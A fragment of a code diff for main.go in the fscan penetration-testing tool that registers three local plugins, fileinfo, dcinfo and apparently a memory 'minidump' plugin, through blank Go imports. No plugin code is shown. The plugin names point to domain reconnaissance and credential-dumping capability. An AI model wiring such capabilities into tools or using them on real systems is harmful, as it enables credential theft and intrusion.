||||
return false
|
||||
}
|
5
main.go
5
main.go
@ -6,6 +6,11 @@ import (
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/core"
|
||||
|
||||
// 引入本地插件以触发注册
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo"
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo"
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/minidump"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
Loading…
Reference in New Issue
Block a user